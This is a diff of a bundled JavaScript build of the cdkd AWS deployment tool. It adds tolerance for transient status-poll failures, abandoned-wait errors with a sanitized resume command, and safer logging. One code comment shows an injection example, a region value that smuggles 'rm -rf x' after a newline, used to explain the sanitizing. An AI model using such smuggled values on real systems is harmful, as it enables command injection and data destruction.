+ * outlasted the SDK's own three STANDARD-mode attempts, so the population is
31271
+ * outages of seconds to minutes — a VPN reconnect, a DHCP renew, a throttle
31272
+ * that needs more than the SDK's sub-second backoff. Waiting the FULL budget
31273
+ * instead (up to 60 min for a slow type) would buy nothing the resume hint
31274
+ * does not: past this point the operation is equally unreachable, and the
31275
+ * user gets the same request token thirteen to fifty-eight minutes sooner.
31276
+ */
31277
+ POLL_TRANSIENT_GRACE_MS = 12e4;
31278
+ /**
31279
+ * The grace `disableCcProtection`'s wait takes instead (issue
31280
+ * go-to-k/cdkd#3253 item 1). Its call site carries the reasoning; the short
31281
+ * version is that the flip is best-effort and swallowed, so a long wait there
31282
+ * is dead wall clock on a destroy that is failing anyway.
31283
+ */
31284
+ PROTECTION_FLIP_TRANSIENT_GRACE_MS = 1e4;
29617
31285
  constructor() {
29618
31286
  const awsClients = getAwsClients();
29619
31287
  this.cloudControlClient = awsClients.cloudControl;
@@ -29689,17 +31357,21 @@ var CloudControlProvider = class {
29689
31357
  try {
29690
31358
  const cleanupResult = await this.delete(logicalId, error.physicalId, resourceType);
29691
31359
  if (cleanupResult?.outcome === "skipped") {
29692
- this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}: ${cleanupResult.reason} — a retry may fail with AlreadyExists until it is removed manually`);
31360
+ this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(cleanupResult.reason)}`);
29693
31361
  return;
29694
31362
  }
29695
31363
  this.logger.debug(`Removed failed-create remnant ${error.physicalId} for ${logicalId}`);
29696
31364
  } catch (cleanupError) {
29697
31365
  const message = cleanupError instanceof Error ? cleanupError.message : String(cleanupError);
31366
+ if (isWaitAbandonedError(cleanupError)) {
31367
+ this.logger.warn(`Could not confirm whether the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was removed (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
31368
+ return;
31369
+ }
29698
31370
  if (isNotFoundMessage(message)) {
29699
31371
  this.logger.info(`The remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was already gone (not found); nothing to clean up`);
29700
31372
  return;
29701
31373
  }
29702
- this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}: ${message} — a retry may fail with AlreadyExists until it is removed manually`);
31374
+ this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
29703
31375
  }
29704
31376
  }
29705
31377
  /**
@@ -29770,7 +31442,7 @@ var CloudControlProvider = class {
29770
31442
  const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
29771
31443
  if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
29772
31444
  this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
29773
- const { ASGProvider } = await import("./asg-provider-BPBdAAGQ.js").then((n) => n.n);
31445
+ const { ASGProvider } = await import("./asg-provider-ac412LEP.js").then((n) => n.n);
29774
31446
  const asgProvider = new ASGProvider();
29775
31447
  return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
29776
31448
  }
@@ -29793,7 +31465,8 @@ var CloudControlProvider = class {
29793
31465
  return withIndeterminateGuard(void 0, indeterminateGuard);
29794
31466
  } catch (error) {
29795
31467
  const err = error;
29796
- if (error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound" || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound")) {
31468
+ const notFoundErrorCode = error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound";
31469
+ if (!isWaitAbandonedError(error) && (notFoundErrorCode || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound"))) {
29797
31470
  await this.assertRecordedRegionAgainstClient("not-found", context?.expectedRegion, resourceType, logicalId, physicalId);
29798
31471
  this.logger.debug(`Resource ${logicalId} already deleted (not found), treating as success`);
29799
31472
  return withIndeterminateGuard(void 0, indeterminateGuard);
@@ -29858,7 +31531,7 @@ var CloudControlProvider = class {
29858
31531
  try {
29859
31532
  clientRegion = canonicalizeRegion((await this.cloudControlClient.config.region())?.trim());
29860
31533
  } catch (error) {
29861
- this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${error instanceof Error ? error.message : String(error)}`);
31534
+ this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${displaySafe(describeAwsFailure(error).detail)}`);
29862
31535
  clientRegion = void 0;
29863
31536
  }
29864
31537
  try {
@@ -30021,11 +31694,14 @@ var CloudControlProvider = class {
30021
31694
  this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId}: no request token received; proceeding with delete`);
30022
31695
  return;
30023
31696
  }
30024
- await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType);
31697
+ await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType, this.PROTECTION_FLIP_TRANSIENT_GRACE_MS);
30025
31698
  this.logger.debug(`Disabled ${protectionProperty} on ${logicalId}`);
30026
31699
  } catch (error) {
30027
- const message = error instanceof Error ? error.message : String(error);
30028
- this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}): ${message}; proceeding with delete`);
31700
+ const described = describePollFailure(error);
31701
+ const safeMessage = displaySafe(described.display);
31702
+ this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}), proceeding with delete${safeMessage === "" ? "" : `: ${safeMessage}`}`);
31703
+ const detail = described.detail;
31704
+ if (detail !== "") this.logger.debug(`Could not disable ${protectionProperty} on ${logicalId}, underlying failure: ${displaySafe(detail)}`);
30029
31705
  }
30030
31706
  }
30031
31707
  /**
@@ -30045,17 +31721,61 @@ var CloudControlProvider = class {
30045
31721
  }
30046
31722
  }
30047
31723
  /**
30048
- * Wait for an asynchronous operation to complete
31724
+ * Wait for an asynchronous operation to complete.
31725
+ *
31726
+ * Reached from FOUR call sites — `create()`, `update()`, `delete()` and
31727
+ * `disableCcProtection()` — so everything here is CREATE / UPDATE / DELETE
31728
+ * behavior at once.
31729
+ *
31730
+ * The poll is fenced against its own transport (issue #3236). Before that,
31731
+ * a `GetResourceRequestStatus` that failed for ANY reason propagated out of
31732
+ * this loop, out of `create()`, and took the `RequestToken` — which lives
31733
+ * only in this parameter list — with it. The Cloud Control operation keeps
31734
+ * running server-side regardless, so a CREATE that AWS went on to complete
31735
+ * left a live resource with no state record: invisible to rollback, to
31736
+ * `cdkd destroy`, and to `cleanupFailedCreateRemnant` (whose first guard
31737
+ * admits only a `CloudControlOperationFailedError`, which a transport
31738
+ * failure never is). Reported against a `AWS::RDS::DBInstance` whose CREATE
31739
+ * outlived a dropped VPN; the untracked instance then blocked the deletion
31740
+ * of five tracked resources that depended on it.
31741
+ *
31742
+ * Re-polling is IDEMPOTENT in a way replaying the create is not, which is
31743
+ * what makes this the right layer for the fix: `GetResourceRequestStatus`
31744
+ * invokes no resource handler and the token is unchanged across attempts, so
31745
+ * the duplicate-create hazard of go-to-k/cdkd#2039 is structurally absent.
31746
+ * The complementary half is {@link CloudControlWaitAbandonedError}, for the
31747
+ * outage that outlives the grace or the budget.
30049
31748
  */
30050
- async waitForOperation(requestToken, logicalId, operation, resourceType) {
31749
+ async waitForOperation(requestToken, logicalId, operation, resourceType, transientGraceMs = this.POLL_TRANSIENT_GRACE_MS) {
30051
31750
  const startTime = Date.now();
30052
31751
  let attempts = 0;
30053
31752
  let pollInterval = this.INITIAL_POLL_INTERVAL_MS;
31753
+ let lastSeenIdentifier;
31754
+ let transientOutageStartedAt;
31755
+ let lastTransientError;
30054
31756
  const maxWaitMs = Math.max(this.MAX_WAIT_TIME_MS, slowCcOperationTimeoutMs(resourceType, operation));
30055
31757
  while (Date.now() - startTime < maxWaitMs) {
30056
31758
  attempts++;
30057
- const progressEvent = (await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }))).ProgressEvent;
31759
+ let statusResponse;
31760
+ try {
31761
+ statusResponse = await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }));
31762
+ } catch (error) {
31763
+ if (!isTransientPollFailure(error)) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, "cdkd could not read the operation status and the failure is not retryable", error);
31764
+ transientOutageStartedAt ??= Date.now();
31765
+ lastTransientError = error;
31766
+ const outageMs = Date.now() - transientOutageStartedAt;
31767
+ if (outageMs >= transientGraceMs) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `cdkd could not reach Cloud Control API for ${Math.round(outageMs / 1e3)}s`, error);
31768
+ const safePollText = displaySafe(describePollFailure(error).display);
31769
+ this.logger.warn(`${operation} ${logicalId}: could not read the Cloud Control operation status (attempt ${attempts})${safePollText === "" ? "" : `: ${safePollText}`} — the operation may still be running in AWS; re-polling the same request token in ${pollInterval}ms`);
31770
+ await this.sleep(pollInterval);
31771
+ pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
31772
+ continue;
31773
+ }
31774
+ transientOutageStartedAt = void 0;
31775
+ lastTransientError = void 0;
31776
+ const progressEvent = statusResponse.ProgressEvent;
30058
31777
  if (!progressEvent) throw new ProvisioningError(`Failed to get status for ${logicalId}: No progress event`, "Unknown", logicalId);
31778
+ if (progressEvent.Identifier) lastSeenIdentifier = progressEvent.Identifier;
30059
31779
  this.logger.debug(`${operation} ${logicalId}: ${progressEvent.OperationStatus} (attempt ${attempts}, next poll ${pollInterval}ms)`);
30060
31780
  switch (progressEvent.OperationStatus) {
30061
31781
  case "SUCCESS": return progressEvent;
@@ -30075,12 +31795,93 @@ var CloudControlProvider = class {
30075
31795
  pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
30076
31796
  }
30077
31797
  }
30078
- throw new ProvisioningError(`${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, "Unknown", logicalId);
31798
+ throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, lastTransientError);
31799
+ }
31800
+ /**
31801
+ * Build the {@link CloudControlWaitAbandonedError} for a wait cdkd is giving
31802
+ * up on while the operation is, as far as cdkd knows, still running (issue
31803
+ * [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
31804
+ *
31805
+ * Returns rather than throws so every call site reads `throw await
31806
+ * this.abandonWait(...)` — the `throw` stays visible at the site, which is
31807
+ * what keeps the control flow legible to the compiler and to a reader.
31808
+ *
31809
+ * CREATE is marked non-retryable and the other two are not, and the
31810
+ * asymmetry is the whole point rather than an oversight:
31811
+ *
31812
+ * - **CREATE** — a replay issues a SECOND `CreateResource` for a resource
31813
+ * the first call is already creating, which is go-to-k/cdkd#2039's
31814
+ * duplicate-create. It must be refused, and the marker is what refuses
31815
+ * it — but by a different mechanism than an earlier revision of this
31816
+ * comment claimed. That one said the message interpolates AWS's own
31817
+ * `Rate exceeded`, which `RETRYABLE_ERROR_MESSAGE_PATTERNS` matches; a
31818
+ * real `ThrottlingException` carries `$fault`, so its cause is REDUCED to
31819
+ * the wire code and the message no longer contains that wording.
31820
+ * Re-measured at this head: without the marker `isRetryableTransientError`
31821
+ * still answers TRUE, via `isThrottlingError`'s CHAIN walk over the
31822
+ * threaded cause rather than via the message. The marker stays
31823
+ * load-bearing; only the route changed.
31824
+ * - **DELETE** — a replay issues a second `DeleteResource`, which is
31825
+ * idempotent: if the first delete landed, the retry meets the
31826
+ * already-gone signal `delete()` absorbs. Retrying is strictly better
31827
+ * than surfacing a failure over a resource that may be gone.
31828
+ * - **UPDATE** — a replay re-derives and re-sends the same patch, the
31829
+ * behavior every other UPDATE failure already gets.
31830
+ */
31831
+ async abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, reason, cause) {
31832
+ const described = describePollFailure(cause);
31833
+ const safeDisplay = displaySafe(described.display);
31834
+ const causeText = safeDisplay === "" ? "" : `: ${safeDisplay}`;
31835
+ if (described.detail !== "") this.logger.debug(`${operation} ${logicalId}: the abandoned operation's underlying failure was: ${displaySafe(described.detail)}`);
31836
+ const identifierClause = lastSeenIdentifier === void 0 ? "" : ` The last status cdkd read named the resource ${displaySafe(lastSeenIdentifier, { asciiOnly: true })}.`;
31837
+ const error = new CloudControlWaitAbandonedError(`${operation} of ${logicalId} was accepted by Cloud Control API, but cdkd stopped waiting for it (${reason}${causeText}). The operation may still be running in AWS, and ${operation === "CREATE" ? "cdkd has NO state record for it, so any resource it creates is untracked by rollback and by cdkd destroy" : operation === "DELETE" ? "the resource may or may not have been removed; its state record is kept so a re-run can finish the delete" : "its state record still holds the PREVIOUS properties, so the record may no longer describe the live resource"}.${identifierClause} Check what it did with:\n ${await this.buildResumeCommand(requestToken)}`, resourceType, logicalId, requestToken, operation, lastSeenIdentifier, cause instanceof Error ? cause : void 0);
31838
+ if (described.marker) markRedactedCause(error);
31839
+ return operation === "CREATE" ? markNonRetryable(error) : error;
31840
+ }
31841
+ /**
31842
+ * The `aws cloudcontrol get-resource-request-status` line an abandoned wait
31843
+ * hands the user — the only way back to an operation cdkd has no record of.
31844
+ *
31845
+ * SANITIZE-then-QUOTE-then-SUPPRESS, the full convention
31846
+ * `replacement-protection-advice.ts` applies (issue
31847
+ * [#2669](https://github.com/go-to-k/cdkd/issues/2669)) — quoting ALONE is
31848
+ * not it, and the gap is not theoretical here. The region comes from
31849
+ * `config.region()`, i.e. `--region` / `AWS_REGION` / a profile's `region =`
31850
+ * line, so it is USER text: `AWS_REGION=$'us-east-1\nrm -rf x'` is inert once
31851
+ * `shellQuote` wraps it, and still renders a two-line "recovery command" on
31852
+ * the terminal and into `deployments/{runId}.jsonl` — the forgery
31853
+ * `lock-contention-message.ts` says quoting does not cover. So each part is
31854
+ * `displaySafe`d first and DROPPED when sanitizing changed it: the region
31855
+ * flag is simply omitted (absent is already legal — the user supplies their
31856
+ * own), and a changed TOKEN suppresses the whole command, since a command
31857
+ * naming the wrong operation is worse than none.
31858
+ *
31859
+ * The region is best-effort in a second sense: `config.region` is a resolver
31860
+ * that can throw (no credentials, no configured region), and a wait that
31861
+ * already failed must not fail a second time inside its own error message.
31862
+ */
31863
+ async buildResumeCommand(requestToken) {
31864
+ const safeToken = displaySafe(requestToken, { asciiOnly: true });
31865
+ if (!safeToken || safeToken !== requestToken) return "(cdkd cannot render a safe resume command for this request token — see the Cloud Control console)";
31866
+ let region;
31867
+ try {
31868
+ region = (await this.cloudControlClient.config.region())?.trim();
31869
+ } catch {
31870
+ region = void 0;
31871
+ }
31872
+ const safeRegion = region === void 0 || region === "" || displaySafe(region, { asciiOnly: true }) !== region ? void 0 : region;
31873
+ const regionFlag = safeRegion === void 0 ? "" : ` --region ${shellQuote(safeRegion)}`;
31874
+ return `aws cloudcontrol get-resource-request-status --request-token ${shellQuote(safeToken)}${regionFlag}`;
30079
31875
  }
30080
31876
  /**
30081
31877
  * Parse resource model JSON string.
30082
31878
  *
30083
- * On a parse failure this logs the error plus the model's SHAPE — never its
31879
+ * On a parse failure the WARN line logs the error's CLASS plus the model's
31880
+ * SHAPE. The `debug` line beside it DOES carry the raw parser message, echo
31881
+ * included, and naming that carve-out is the point (issue
31882
+ * [#3290](https://github.com/go-to-k/cdkd/issues/3290)): an unqualified
31883
+ * promise that a sibling line falsifies is exactly what that issue was filed
31884
+ * for. What follows is about the WARN line — never its
30084
31885
  * body (issue #1908, a GHSA-p5qg-v9gv-hc7w residual). The model is an AWS
30085
31886
  * readback, and a read handler cannot return write-only properties (the #809
30086
31887
  * premise), so the common secret shapes are absent — but a `{{resolve:...}}`
@@ -30098,8 +31899,9 @@ var CloudControlProvider = class {
30098
31899
  try {
30099
31900
  return JSON.parse(resourceModel);
30100
31901
  } catch (error) {
30101
- const errorMessage = error instanceof Error ? error.message : String(error);
30102
- this.logger.warn(`Failed to parse resource model: ${errorMessage}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
31902
+ const described = describeAwsFailure(error);
31903
+ this.logger.warn(`Failed to parse resource model: ${described.redacted ? described.summary : error instanceof Error ? error.name : "Error"}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
31904
+ this.logger.debug(`Resource model parse failure detail: ${displaySafe(described.detail)}`);
30103
31905
  return {};
30104
31906
  }
30105
31907
  }
@@ -30162,7 +31964,7 @@ var CloudControlProvider = class {
30162
31964
  this.logger.debug(`Enriched RDS DBCluster ${physicalId} with Endpoint/Port/Arn from DescribeDBClusters`);
30163
31965
  }
30164
31966
  } catch (error) {
30165
- this.logger.debug(`Failed to enrich RDS DBCluster ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
31967
+ this.logger.debug(`Failed to enrich RDS DBCluster ${physicalId}: ${describeAwsFailure(error).detail}`);
30166
31968
  }
30167
31969
  break;
30168
31970
  case "AWS::RDS::DBInstance":
@@ -30176,7 +31978,7 @@ var CloudControlProvider = class {
30176
31978
  this.logger.debug(`Enriched RDS DBInstance ${physicalId} with Endpoint/Port/Arn from DescribeDBInstances`);
30177
31979
  }
30178
31980
  } catch (error) {
30179
- this.logger.debug(`Failed to enrich RDS DBInstance ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
31981
+ this.logger.debug(`Failed to enrich RDS DBInstance ${physicalId}: ${describeAwsFailure(error).detail}`);
30180
31982
  }
30181
31983
  break;
30182
31984
  case "AWS::DynamoDB::Table":
@@ -30187,7 +31989,7 @@ var CloudControlProvider = class {
30187
31989
  this.logger.debug(`Enriched DynamoDB StreamArn for ${physicalId}: ${latestStreamArn}`);
30188
31990
  }
30189
31991
  } catch (error) {
30190
- this.logger.debug(`Failed to get DynamoDB StreamArn for ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
31992
+ this.logger.debug(`Failed to get DynamoDB StreamArn for ${physicalId}: ${describeAwsFailure(error).detail}`);
30191
31993
  }
30192
31994
  break;
30193
31995
  case "AWS::ApiGateway::RestApi":
@@ -30198,7 +32000,7 @@ var CloudControlProvider = class {
30198
32000
  this.logger.debug(`Enriched RestApi RootResourceId for ${physicalId}: ${getRestApiResponse.rootResourceId}`);
30199
32001
  }
30200
32002
  } catch (error) {
30201
- this.logger.debug(`Failed to get RestApi RootResourceId for ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32003
+ this.logger.debug(`Failed to get RestApi RootResourceId for ${physicalId}: ${describeAwsFailure(error).detail}`);
30202
32004
  }
30203
32005
  if (!enriched["RestApiId"]) enriched["RestApiId"] = physicalId;
30204
32006
  break;
@@ -30210,7 +32012,7 @@ var CloudControlProvider = class {
30210
32012
  this.logger.debug(`Enriched CloudFront OAI S3CanonicalUserId for ${physicalId}: ${s3CanonicalUserId}`);
30211
32013
  }
30212
32014
  } catch (error) {
30213
- this.logger.debug(`Failed to get CloudFront OAI S3CanonicalUserId for ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32015
+ this.logger.debug(`Failed to get CloudFront OAI S3CanonicalUserId for ${physicalId}: ${describeAwsFailure(error).detail}`);
30214
32016
  }
30215
32017
  break;
30216
32018
  case "AWS::KMS::Key":
@@ -30221,7 +32023,7 @@ var CloudControlProvider = class {
30221
32023
  this.logger.debug(`Enriched KMS Key Arn for ${physicalId}: ${String(enriched["Arn"])}`);
30222
32024
  }
30223
32025
  } catch (error) {
30224
- this.logger.debug(`Failed to construct KMS Key Arn for ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32026
+ this.logger.debug(`Failed to construct KMS Key Arn for ${physicalId}: ${describeAwsFailure(error).detail}`);
30225
32027
  }
30226
32028
  if (!enriched["KeyId"]) enriched["KeyId"] = physicalId;
30227
32029
  break;
@@ -30239,7 +32041,7 @@ var CloudControlProvider = class {
30239
32041
  this.logger.debug(`Enriched ECR Repository Arn for ${physicalId}: ${String(enriched["Arn"])}`);
30240
32042
  }
30241
32043
  } catch (error) {
30242
- this.logger.debug(`Failed to construct ECR Repository Arn: ${error instanceof Error ? error.message : String(error)}`);
32044
+ this.logger.debug(`Failed to construct ECR Repository Arn: ${describeAwsFailure(error).detail}`);
30243
32045
  }
30244
32046
  if (!enriched["RepositoryUri"]) try {
30245
32047
  const ecrAccountInfo = await this.accountInfoForSynthesizedArn(resourceType, "RepositoryUri", physicalId);
@@ -30273,7 +32075,7 @@ var CloudControlProvider = class {
30273
32075
  this.logger.debug(`Enriched Kinesis Stream Arn for ${physicalId}: ${String(enriched["Arn"])}`);
30274
32076
  }
30275
32077
  } catch (error) {
30276
- this.logger.debug(`Failed to construct Kinesis Stream Arn for ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32078
+ this.logger.debug(`Failed to construct Kinesis Stream Arn for ${physicalId}: ${describeAwsFailure(error).detail}`);
30277
32079
  }
30278
32080
  break;
30279
32081
  case "AWS::Lambda::Url":
@@ -30285,7 +32087,7 @@ var CloudControlProvider = class {
30285
32087
  }
30286
32088
  if (urlConfig.FunctionArn) enriched["FunctionArn"] = urlConfig.FunctionArn;
30287
32089
  } catch (error) {
30288
- this.logger.debug(`Failed to get Lambda URL config for ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32090
+ this.logger.debug(`Failed to get Lambda URL config for ${physicalId}: ${describeAwsFailure(error).detail}`);
30289
32091
  }
30290
32092
  break;
30291
32093
  case "AWS::Events::Connection":
@@ -30301,7 +32103,7 @@ var CloudControlProvider = class {
30301
32103
  if (conn.SecretArn && !enriched["SecretArn"]) enriched["SecretArn"] = conn.SecretArn;
30302
32104
  this.logger.debug(`Enriched Events Connection ${physicalId} with Arn/SecretArn/ArnForPolicy from DescribeConnection`);
30303
32105
  } catch (error) {
30304
- this.logger.debug(`Failed to enrich Events Connection ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32106
+ this.logger.debug(`Failed to enrich Events Connection ${physicalId}: ${describeAwsFailure(error).detail}`);
30305
32107
  }
30306
32108
  break;
30307
32109
  case "AWS::Events::ApiDestination":
@@ -30316,7 +32118,7 @@ var CloudControlProvider = class {
30316
32118
  }
30317
32119
  this.logger.debug(`Enriched Events ApiDestination ${physicalId} with Arn/ArnForPolicy from DescribeApiDestination`);
30318
32120
  } catch (error) {
30319
- this.logger.debug(`Failed to enrich Events ApiDestination ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32121
+ this.logger.debug(`Failed to enrich Events ApiDestination ${physicalId}: ${describeAwsFailure(error).detail}`);
30320
32122
  }
30321
32123
  break;
30322
32124
  case "AWS::ElastiCache::ReplicationGroup":
@@ -30338,7 +32140,7 @@ var CloudControlProvider = class {
30338
32140
  this.logger.debug(`Enriched ElastiCache ReplicationGroup ${physicalId} with endpoint attributes from DescribeReplicationGroups`);
30339
32141
  }
30340
32142
  } catch (error) {
30341
- this.logger.debug(`Failed to enrich ElastiCache ReplicationGroup ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32143
+ this.logger.debug(`Failed to enrich ElastiCache ReplicationGroup ${physicalId}: ${describeAwsFailure(error).detail}`);
30342
32144
  }
30343
32145
  break;
30344
32146
  case "AWS::Redshift::Cluster":
@@ -30350,7 +32152,7 @@ var CloudControlProvider = class {
30350
32152
  this.logger.debug(`Enriched Redshift Cluster ${physicalId} with Endpoint.Address/Port from DescribeClusters`);
30351
32153
  }
30352
32154
  } catch (error) {
30353
- this.logger.debug(`Failed to enrich Redshift Cluster ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32155
+ this.logger.debug(`Failed to enrich Redshift Cluster ${physicalId}: ${describeAwsFailure(error).detail}`);
30354
32156
  }
30355
32157
  break;
30356
32158
  case "AWS::OpenSearchService::Domain":
@@ -30367,7 +32169,7 @@ var CloudControlProvider = class {
30367
32169
  this.logger.debug(`Enriched OpenSearch Domain ${physicalId} with DomainEndpoint/Arn from DescribeDomain`);
30368
32170
  }
30369
32171
  } catch (error) {
30370
- this.logger.debug(`Failed to enrich OpenSearch Domain ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32172
+ this.logger.debug(`Failed to enrich OpenSearch Domain ${physicalId}: ${describeAwsFailure(error).detail}`);
30371
32173
  }
30372
32174
  break;
30373
32175
  case "AWS::Backup::BackupVault":
@@ -30507,7 +32309,7 @@ var CloudControlProvider = class {
30507
32309
  if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return;
30508
32310
  return parsed;
30509
32311
  } catch (error) {
30510
- this.logger.debug(`Failed to read CC model for ${resourceType} ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
32312
+ this.logger.debug(`Failed to read CC model for ${resourceType} ${physicalId}: ${describeAwsFailure(error).detail}`);
30511
32313
  return;
30512
32314
  }
30513
32315
  }
@@ -40527,6 +42329,7 @@ var DeployEngine = class DeployEngine {
40527
42329
  lastModified: Date.now()
40528
42330
  };
40529
42331
  const currentEtag = currentStateData?.etag;
42332
+ refuseMalformedOutputs(currentState, stackName, this.stackRegion);
40530
42333
  const migrationPending = currentStateData?.migrationPending ?? false;
40531
42334
  this.logger.debug(`Loaded current state: ${Object.keys(currentState.resources).length} resources`);
40532
42335
  if (this.options.onCurrentStateLoaded) await this.options.onCurrentStateLoaded(stackName, currentStateData?.state);
@@ -41758,7 +43561,7 @@ var DeployEngine = class DeployEngine {
41758
43561
  });
41759
43562
  } catch (deleteError) {
41760
43563
  const deleteMsg = deleteError instanceof Error ? deleteError.message : String(deleteError);
41761
- if (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound")) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
43564
+ if (!isWaitAbandonedError(deleteError) && !isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound"))) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
41762
43565
  else throw deleteError;
41763
43566
  }
41764
43567
  const fallbackSkipReason = deleteSkipReason(fallbackDeleteResult);
@@ -41863,7 +43666,7 @@ var DeployEngine = class DeployEngine {
41863
43666
  }), logicalId, 3, 5e3, deleteProvider);
41864
43667
  } catch (deleteError) {
41865
43668
  const msg = deleteError instanceof Error ? deleteError.message : String(deleteError);
41866
- if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
43669
+ if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && !isWaitAbandonedError(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
41867
43670
  else throw deleteError;
41868
43671
  }
41869
43672
  const deleteSkipped = deleteSkipReason(deleteResult);
@@ -42530,5 +44333,5 @@ var DeployEngine = class DeployEngine {
42530
44333
  };
42531
44334
 
42532
44335
  //#endregion
42533
- export { secretBearing as $, BOOTSTRAP_MARKER_PREFIX as $n, getAwsClients as $r, s3BucketRegionalDomainName as $t, extractDeploymentEventError as A, markNonRetryable as Ai, buildForceUnlockCommand as An, resolveAutoAssetStorage as Ar, parameterTypeMayLoseSecretIdentity as At, toCfnInteger as B, importableOutputs as Bn, MIGRATE_TMP_PREFIX as Br, configIntegerRefusal as Bt, buildFinalSnapshotIdentifier as C, isCdkdError as Ci, recordMaskOnlyValue as Cn, AssetManifestLoader as Cr, IntrinsicFunctionResolver as Ct, refusesFinalSnapshot as D, isRetryableTransientError as Di, LockManager as Dn, getDefaultStateBucketName as Dr, getAccountInfo as Dt, isFinalSnapshotError as E, isMarkedNonRetryable as Ei, scrubResourceRecord as En, synthesisStatusMessage as Er, coerceParameterTypedValue as Et, isStatefulRecreateTargetSync as F, CUSTOM_RESOURCE_RESPONSE_PREFIX as Fn, resolveUseCdkBootstrapAssets as Fr, resolveExplicitPhysicalId as Ft, gray as G, AssetPublisher as Gn, PARTITION_TABLE as Gr, requireConfigObject as Gt, formatResourceLine as H, orphansAfterRollback as Hn, uploadCfnTemplate as Hr, readConfigString as Ht, renderStatefulReason as I, DEFAULT_STATE_PREFIX as In, stateBucketExistenceConfirmed as Ir, assertRegionMatch as It, yellow as J, buildAssetRedirectMap as Jn, AssemblyReader as Jr, producerRegionsFromState as Jt, green as K, stringifyValue as Kn, canonicalizeRegion as Kr, requireConfigString as Kt, WARM_THROUGHPUT_MEMBERS as L, exportNamesCarriedFrom as Ln, warnDeprecatedNoPrefixCliFlag as Lr, coerceCfnBoolean as Lt, planOrphanAdoption as M, retryClassificationText as Mi, forceQuitRecoveryClause as Mn, resolveSkipPrefix as Mr, isSettledInstanceState as Mt, MULTI_REGION_RECREATE_BLOCKED_TYPES as N, __exportAll as Ni, formatLockExpiry as Nn, resolveStateBucketWithDefault as Nr, WAFv2WebACLProvider as Nt, unsupportedFinalSnapshotError as O, isThrottlingError as Oi, S3StateBackend as On, 